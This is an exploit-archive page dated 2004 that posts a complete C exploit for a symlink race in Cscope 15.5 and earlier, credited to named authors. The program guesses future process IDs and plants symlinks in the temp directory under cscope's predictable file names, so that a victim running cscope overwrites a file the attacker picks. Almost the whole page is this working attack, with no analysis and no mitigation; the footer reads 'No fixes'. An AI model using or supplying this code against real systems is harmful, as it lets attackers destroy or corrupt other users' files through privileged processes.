Cscope <= 15.5 Symlink Vulnerability Exploit

2004-12-17 00:00:00

/* RXcscope exploit version 15.5 and minor */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BSIZE 64

int
main(int ac, char *av[]) {
pid_t cur;
u_int i=0, lst;
char buffer[BSIZE + 1];

fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\
" version 15.5 and minor \n" \
" Gangstuck / Psirac\n" \
" <[email protected]>\n\n");

if (ac != 3) {
fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]);
return 1;
}

cur=getpid();
lst=cur+atoi(av[2]);

fprintf(stdout, " -> Current process id is ..... [%5d]\n" \
" -> Last process id is ........ [%5d]\n", cur, lst);

while (++cur != lst) {
snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i);
symlink(av[1], buffer);
}

return 0;
}

//

Fixes

No fixes

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